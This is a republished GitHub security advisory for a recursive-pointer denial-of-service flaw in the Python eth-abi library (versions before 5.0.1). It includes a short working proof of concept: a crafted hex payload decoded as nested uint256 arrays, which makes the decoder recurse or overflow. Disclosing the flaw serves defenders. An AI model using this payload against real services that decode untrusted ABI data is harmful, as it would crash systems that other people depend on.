# GHSA-3qwc-47jf-5rf7: eth-abi is vulnerable to recursive DoS

- Severity: Medium (rating, scored by GitHub)
- Known to be exploited: not in CISA's catalogue, which lists only what CISA has confirmed
- Published: 2024-03-05T14:39:13.000Z
- Modified: 2026-09-01T21:30:06.284Z
- Weaknesses: CWE-1285

## Description

This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue

```py
from eth_abi import decode


payload = "0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020"

# OverflowError: Python int too large to convert to C ssize_t
#decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))

decode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024)))
```

(As written by GitHub Advisory Database.)

## Affected

- eth-abi (PyPI): before 5.0.1

## References

- <https://github.com/ethereum/eth-abi/security/advisories/GHSA-3qwc-47jf-5rf7> (web)
- <https://github.com/ApeWorX/eth-abi/pull/226> (web)
- <https://github.com/ethereum/eth-abi/commit/82c1ad37a866472562d81fedaef0f4fed0a08269> (web)
- <https://github.com/ethereum/eth-abi> (package)

## Sources

- GitHub Advisory Database: [GHSA-3qwc-47jf-5rf7](https://github.com/advisories/GHSA-3qwc-47jf-5rf7), CC-BY-4.0, modified 2026-09-01

---

Page: https://cve.day/GHSA-3qwc-47jf-5rf7 · Whole record: https://cve.day/GHSA-3qwc-47jf-5rf7.json · Rebuilt by cve.day 2026-11-25T22:56:33.766Z
